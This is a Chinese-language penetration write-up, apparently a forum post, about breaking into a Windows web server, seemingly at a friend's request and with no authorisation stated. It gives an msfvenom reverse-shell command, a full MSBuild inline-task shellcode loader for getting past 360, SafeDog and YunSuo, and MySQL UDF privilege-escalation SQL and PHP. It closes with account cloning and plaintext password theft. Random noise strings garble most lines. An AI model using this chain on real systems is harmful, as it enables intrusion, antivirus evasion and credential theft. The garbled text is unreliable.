白名单msbuild绕过360套装安全狗云锁提权

admin

0x00 前言 9 W$ m" {+ }' d6 x K

1 x2 W& e+ E7 A- f5 ]. K2 R

' y6 r- p# u1 {8 X8 S3 u4 C 平常自己挺喜欢折腾的，有时候遇到一个好的突破点会折腾它个几天几夜，刚刚忙完护网，正准备修整几天，突然有人朋友联系我说有个任务需要搞进去，问我能行不能行，后来得知是已经拿到webshell了，通过一番努力便有了下文。

: b X) d& `3 b9 p

! L V! A2 \- d! J/ B 0x01 前期的信息刺探** 6 h. G% c) h7 C) l& x! `3 T

7 t+ f f ~* ?: R# d" b+ E 首先拿到webshell，发现phpshell只能访问shell所在目录，连网站根目录都跨不过去如图：

9 Q. l& U( N8 p$ J$ n: }& S

5 y5 l' u4 O n0 j$ _& Q) H# N8 W( C
c盘d盘根目录就更别提跨过去了，随之执行一下命令看看，如图：

, ]. e$ V7 I/ W. L/ g; J% M

& b! P& p8 L( A

1 l& U( @5 R' G' y whoami等简单的命令可以跑起来，tasklist发现了 某某安全套装等安全防护进程进程，om my god,刺激，就喜欢这种各种需要绕的环境，既然能跑起命令来那就上免杀的exp来试着提一下（通过rar解压方法突破某防护程序上传），如图：

# [+ R0 X, I+ r8 K, h2 D

2 U3 k( |" t2 e0 z+ Q, o8 W! }- C w经过测试发现，不管把exp放哪个目录都提示拒绝访问，特别是net命令都禁止执行，越发让我感觉是安装安全防护程序的缘故； 6 e. E3 m1 i% K

# {+ R8 G3 M+ D) G; {) @

0x02 深入 " g1 U( A6 ?& G$ \

通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图：

在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多，看官请看

+ |% ~, k4 C, @ i# n3 H

, k' I- l2 G* U% a+ d$ o5 X
- }+ z! w& U- w8 D% T+ Q成功将我们想要的exe程序解压到指定目录，webshell下是没法cd到rar目录的，现在能正常上传exe，我们看能不能想办法让咱们的msf不要闲下来，之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter，但是弹回来什么权限也没，连ps进程命令都没法显示，这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线，于是就开始动手，具体如下：
首先使用msf生成一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
% i: {0 K3 U) C* H代码如下：

7 {7 { o: m2 U" A

byte[] buf = new byte[179779] {

% G/ \3 T k5 [$ V6 h/ W

  : A4 F) N4 o. l# Y/ h

+ Z& z- Z0 {9 `  

, {' l# G" a) @) j

7 p+ }, D, z, N 0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39, % N6 [ g1 B5 X, ^* I% ]8 J

0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,

8 O1 Q$ Q6 V* P, P6 l. u' A

7 h8 s; l! b, l P- u2 {8 p4 { 0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,

. I3 p1 A) E' t" n2 c' P: p 0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71, 2 q9 l) i4 {& @! C

) z5 [ b0 K' w' ]

0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,

6 V1 j* p$ Q- h; k; l

0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59, * H! y7 n8 N0 m; |1 P& K6 F( N0 k n

2 _6 D. L, b6 \& `0 N/ b6 u& A

! A |7 V; G- X# j+ U* E* o 0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,

$ L7 z, G, [- {3 Q0 _

) T' g G6 \* V* G5 G; ~- A 0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,

: d1 V# w0 @ j& h8 \" C# m+ X0 ? 0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,

) b! ] `% U! ?( w

0 v$ K( q2 W6 i3 d" B 0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,

) Z' p* w! j1 R# g3 ]9 [ 0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00, $ d7 h2 N, ]% l

r; D3 y5 ?( q+ w* J# g" Q

0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,

7 J" k: f5 ~9 U+ G* y: {8 z 0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e, ! B0 l6 @7 f6 i

: s5 n6 p8 Q. z4 n0 H# @  0x7c,0x74,0x31。。。代码太长省略。。。

, q9 y! K# ~# e, s0 X

! A" k4 s* |9 i, M7 C, h& K( s' G  }; % r. d5 J& Y1 ?4 ^& W, H

) T+ Z( p, }1 ~9 \/ ]! g7 Q* Z) Q/ B

  ( e2 }4 m+ K9 V9 v

! t6 o! F! T6 E9 ]& p( H

* M8 O. ^1 u9 K3 u               UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 1 I: ^1 e1 e' c

' I0 H$ j# V- `- L4 V

! X4 A6 T5 {* j                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);

              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

2 @* d, d, J1 A7 r% {, C& R

( C( D- l# g; V2 ^! K; n              IntPtr hThread = IntPtr.Zero; $ s: K- U; ^: K' E" T5 M+ u

3 X7 o9 ?0 Q/ b* x- i6 U- s C8 H

8 a. b4 u( Z: ?- l$ o3 X" B              UInt32 threadId = 0; ]% z! c1 S5 i! E l3 k

$ @' b2 ?; A# r9 y, u0 t               IntPtr pinfo = IntPtr.Zero; 1 K7 P' i/ W* V& B: i' V

' j5 J8 i+ N1 Q2 A               hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 7 Z, |; D( `" x# V* Y2 h* T# u

. n3 S. h' t6 V2 E! X              WaitForSingleObject(hThread, 0xFFFFFFFF);

' Q/ {- S5 j' ?1 r8 F8 C0 A' k

8 D% t% w6 N' x. \& _             return true; " C: z. `/ d1 [3 e' f" K7 ^

- o6 H0 W1 h8 \3 t7 b/ Q: K' j           }

# ~. y- N! F. j( C/ [- w

) y' q# [+ B/ I2 F         }    

       ]]>

/ H7 t1 Z, f) {& y! E5 @ x        </Code> a/ R/ D9 [! q0 H% n

' D y+ \' C" ?" ^% M8 |4 f

: q0 W9 O( b4 c. N l8 K+ M$ u     </Task> / `' I# C( D Q% m5 v+ N

; |) H( y8 c/ e2 g* ~5 E: [    </UsingTask>

7 U! l% J8 Z4 Q0 h; O" V

 </Project>

$ W& U9 \) f# w6 s% m9 P+ ]" H% ? 用msf生产的代码替换原始代码的内容，这是原始payload如下：

3 @/ F) Q/ ~6 g/ E

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> ( `0 w6 H g9 Z, i; o

: [8 e; f- O' z; t6 H# l

  <!-- This inline task executes shellcode. --> N9 I/ ?' i# M/ p4 L

8 x" q& n7 p7 s- }! O/ V   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->

) p7 A {" c) ]5 G, m- {' z4 O% M   <!-- Save This File And Execute The Above Command --> 2 @) N- z& t% H# N; A

  <!-- Author: Casey Smith, Twitter: @subTee --> : s7 T) v5 \; D9 X" b

- u- t# {, Y9 ]: s( e5 z* _8 W* V

7 P: n9 H: T% a7 j* w+ D   <!-- License: BSD 3-Clause -->

4 I n: F2 c s |9 [   <Target Name="Hello"> 2 {' q$ a! `9 f

3 ]" I4 ]3 ~/ p8 D0 n. j6 ^

( Z2 l' S( X; I     <ClassExample />

6 {* Q2 m- m+ y# t2 P   </Target>

  <UsingTask 8 d- l8 K' v- l: Y6 g

6 p, P3 C# A9 Y* G6 j     TaskName="ClassExample" & W8 ] q5 i4 r+ h4 D$ F7 s

. b& G$ M8 Y$ M: X! {3 N

    TaskFactory="CodeTaskFactory" p# u t* u5 U( `) k- j

! `; l; C6 _: G6 ^- G5 w9 U9 I     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >

: s; g8 W/ `' N% n/ E     <Task>

" R$ ], v$ n8 g* B# V

 

      <Code Type="Class" Language="cs">

* h1 Q6 D2 Q3 f' {       <![CDATA[ 6 i$ D6 r& [( O

: |0 g7 O+ r8 M1 S

        using System;

2 b/ D, h* [: c2 u

        using System.Runtime.InteropServices; 6 S) J5 I. q2 ^/ t& g. w2 r

6 G ]. |; |" L. M1 l- X2 c

/ n4 S/ {. _" {         using Microsoft.Build.Framework;

. o; G( }* C# Y- c2 \

4 g% L. o3 A6 n6 s8 l7 d- f1 ~         using Microsoft.Build.Utilities; 6 m5 E( g9 Y3 c9 J$ i" ~; C

        public class ClassExample :  Task, ITask 4 R' k e+ G, i! U4 q& h# d/ K3 `

4 q2 X, u9 e% u T+ J& l) R         {        

          private static UInt32 MEM_COMMIT = 0x1000;         

4 n N* J6 ?- ~& x/ c

          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          ' b4 l: ~. j% B7 S

! f7 h6 a4 {# c( U* W% P

          [DllImport("kernel32")] ' R/ f9 q0 a- i1 Q- `, g" w

            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, ' O8 m, S; c0 F

            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          + S. ^3 u* d7 a6 w

          [DllImport("kernel32")] 9 G( N& l N c9 q

, R- j- P; `2 L& I0 d2 {; r

            private static extern IntPtr CreateThread(            9 @( B9 t" o8 u& A( Q" D! T& W# k

: c( z& A; K3 P+ v6 x             UInt32 lpThreadAttributes,

$ \8 z9 }% L- x. A7 f. @

6 X& L0 o4 M4 G             UInt32 dwStackSize,

' d! g, ?" ?5 O0 a \* n l

5 v+ d3 g# Q9 @6 Z             UInt32 lpStartAddress,

/ m( Q$ {) k& C3 X* r) G* ]2 y. _% K             IntPtr param, 5 G+ A5 U$ Q& n K- _

- Q- M3 u7 ]# o1 {5 G

: g# y" H2 b- c# B; a1 V6 R             UInt32 dwCreationFlags,

            ref UInt32 lpThreadId          

( i: J0 h; x- J6 V3 \

            );

. U6 \4 P) z- ^+ Y; \

; T. y% b# ^* K& @; M           [DllImport("kernel32")]

            private static extern UInt32 WaitForSingleObject(           * V) w/ c! j7 G* L

) z2 z6 }; G, D8 P) M- l) Y

7 w) I; |; ?- _& S* h) P             IntPtr hHandle,

/ ?2 a: V) T$ t- k" T/ Y& ]2 }             UInt32 dwMilliseconds " v1 U+ Z' D9 N3 ]/ \

/ k1 B$ d7 @2 t" v, j             );          ! l8 H$ k) F. i; W0 x- e

5 V# M2 y- n/ W+ o, V$ `* d

4 ?" s8 I: n0 K& h9 K           public override bool Execute()

" h. n4 q' @- q2 n* x% H3 @& `$ z3 K4 D

          { 7 X1 ^- e/ Z9 Z! ]% r

& S" {, \4 W5 | S$ u

% f0 X \+ `* X! |$ S             byte[] shellcode = new byte[179779] {

" W8 g1 P% \! C8 e# S, B9 p m' P. [             这里是msf生成的c# shellcode,代码太长省略  ) x+ J( b/ X. X

8 d7 T9 A7 H2 R2 ~" f) x) ` w) V

            };

! g- q1 q' b' J, J

3 P3 V: z K* b" i x2 o& y: c" x             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,

( K; m# w: |# X' d8 u$ _                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);

3 p0 A* i$ D2 f; t3 r               Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); ) b1 H# n4 u# G7 c5 Z

9 C' U' U# {- R I               IntPtr hThread = IntPtr.Zero; + v- }* @7 f, d- g# ?) |) k

0 n% ?6 j+ ]0 t* Z7 s$ U7 h

              UInt32 threadId = 0;

\& H5 ]8 y$ U- t$ L

4 v) V' t! u T               IntPtr pinfo = IntPtr.Zero; ' ]: q% v) Z9 c9 C$ S( S0 Y

              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

3 j) n3 S& F- l) K               WaitForSingleObject(hThread, 0xFFFFFFFF); 9 o7 {+ {9 _5 B- X; i0 U- I, M

5 E# ?4 {! X' e. U+ A8 c               return true; - L" j0 n% i; a$ D( `3 W1 `, m

          }

        }     4 m' j* j1 ]. C% x

, {( S5 p% p6 d. \& X6 |

      ]]>

      </Code> ( G) Q3 o4 r n; Y

    </Task> + i- x* ^* t1 s% @# B( G

1 C2 z' F9 [! f% o

  </UsingTask>

</Project>

! w- O7 O& d5 E7 k/ i. v3 T

需要注意的是必须改成shellcode如图：

然后上传到web目录，nc反弹继续执行如下命令：

% q; X; J; a0 [+ B cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\

]* E8 p. H, R# z! ]" f

" Y& @: W$ \8 e msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj ' R& _$ |* o! D, K9 g

& c) l/ `$ j! R6 m$ ?1 P! y2 A

这时候监听好的msf就会返回一个meterpreter如图：
. y" P/ A8 x: P; }$ g( |/ e
试着在shell和meterpreter下执行exp都提示拒绝访问，如图：

但是测试upload上传命令确实是成功调出w3wp.exe 进程，经过一番努力无果，只好换思路解决。

: P$ t: u3 G+ v$ {# S% L

- ~+ `+ W0 ?& H9 l 0x03 MySQL udf提权 5 t! B$ p- s+ ?. \

" r6 T. y7 ?: u+ e

通过上面的一些测试，已经无望了，这时候就想着用其他办法，经过测试发现网站支持asp，就上传了一个aspshell，各种翻目录各种测试，终于在网站的二级目录数据库配置文件发现了mysql root密码，OK，上传udf提权php马，在具体测试过程中发现，市面上的udf Php工具都被某安全程序被杀了，我发现把被杀的php后缀修改为csproj上传不杀了，要不然无论把被杀的php换成什么后缀名都不行，然后再通过PHP包含这个文件，就可以突破了（也不知道算不算是个某防护程序的一个bug，总之用这种办法让udf工具跑起来了），如图：

6 j3 V. i# D7 v
9 z. c R5 Y' b* z: j然后按常规导入dll,提示dll导入成功，创建sys_eval 函数执行命令，却又提示函数不存在如：FUNCTION mysql.sys_eval does not exist，在测试过程没少折腾，用portfwd命令转发目标3306到本地，利用sqlmap -d 上传dll提示不成功，后来用--file-write命令上传dll到system32下也失败了，但是发现上传非二进制的文件的话是成功的，后来通过查看权限证明不是权限问题如图：
' p4 {" t9 ^8 L4 M+ A. \select * from mysql.user where user = substring_index(user(), '@', 1) ;

/ n+ v0 f! ~/ g/ E
8 {/ T' ?$ _/ A. c0 l权限都很OK，很悲催dll被禁止上传，可恶的安全防护呀，通过查询发现几个自定义函数，如图：

7 K8 U" N; ?" r0 O

; c3 n5 q5 V. q
发现udf.dll已经被占坑了，我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图： + C* w& A2 @' e9 R1 g G) ]

我们利用php环境把它转成dll，代码如下：

<?php

* _" f% s1 H) \$ c, D& n2 c* H

echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));

?>

成功把它还原成dll文件，用c32am打开看一下他的用法如图： ( t5 ~/ W6 b! X

; F3 `$ b* B4 L4 W( g
看看这个shell函数的用法，

) l! A. z* U5 \, R正好和dll里面的信息一致，但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死，后来试了exec，select shell('exec','whoami');，如图：

! R5 H( G2 q1 H {, ?

说明这个exec可以绕过安全防护执行命令，接下来的测试中打算使用msf来操作，于是给目录上传了个免杀的msf工具，过全世界所有的杀毒用法 msf vpsip 443，但是监听好的msf一直没返回来meterpreter，后来没办法又用白名单执行命令成功上线（奇怪的还在后面）命令如下：select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错 % V1 C! @0 I8 {6 E% ]

6 p8 L! A$ s# Q* y2 I: Y! Z

但是奇怪的是已经成了system权限却没办法shell，这也正是这个目标奇葩的地方，执行shell卡死，后来ps了一下进程发现administrator的进程migrate pid，然后再执行shell成功执行，并且也可以执行net user 等命令如图： # J/ N& o- i J6 {$ B; \) h' l

. r8 r9 I7 V; p

* p( s3 K T- x' s% _6 _# l 很OK，直接net user添加账号肯定不行，利用userclone克隆添加账号密码，账号添加成功，但是加入到管理员组失败，手里有杀某防护程序的神器，但是似乎用不上，杀完需要重启动静太大，OK，这时候发现administrator在线直接上传getpassword64免杀版抓明文密码，得到administrator的明文密码，试着用msf模块抓一下密码，如下：

没有成功，因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证，可以正常登录，所以也不涉及绕过认证登录的问题。登录如图：

) s; p7 a8 w" G8 k/ d

3 Y8 j, ~ J I. L" `* n. x. s 渗透到此就结束了。

0x04另一个案例绕做组策略限制执行命令 % r# C# T4 t6 `

主要还是白名单绕过执行程序及配合udf提权，碰到前人留下的udf后门直接提到system，剩下就是一顿乱折腾，不过也不白折腾，摸着石头过河没什么不好；第一次在先知改版后写文章，文章排版之类的还是不太熟悉，可能写的不尽人意，还是请多包涵。。。。。这里要感谢先知V师傅，莫须有等好兄弟的大力支持，一晚上陪我熬夜。。。 " m7 ^/ V9 q' r( ^3 J" A

+ {4 m" p5 T4 F) }

T0 \6 E. k5 I+ c$ I# O

! P' i+ O' F7 Q7 K$ W

命令跑起来了，最起码遇到不能执行命令的时候用白名单执行可以继续开展下一步工作，或者利用msf的load powershell也行继续搞，哈哈 9 C/ H; q7 L( C9 r" [/ G

9 w2 M' \ g5 \7 }

+ i& P: K3 F/ a6 m; u 0x05 总结 2 s! P; C- N3 k5 x

% ?* t, r; T8 a# t

3 y' g: j/ B. E5 I1 T: ?   ) V1 S) m8 N4 H' V

/ S% W' ?; `1 f; b5 y: z 黑客是一种精神，虽然我不是黑客，但是我崇拜这种精神，什么精神？就是永不言败，勇于突破，敢于挑战，崇尚自由的这种精神或者神经，值得各行各业的人学习。（自从学了黑客，人也变得踏实了，也不虚上跳下，也不让家里人觉得这个人不成熟、不靠谱，总之学黑客，得永生，黑客大法好！！！加油兄弟们！）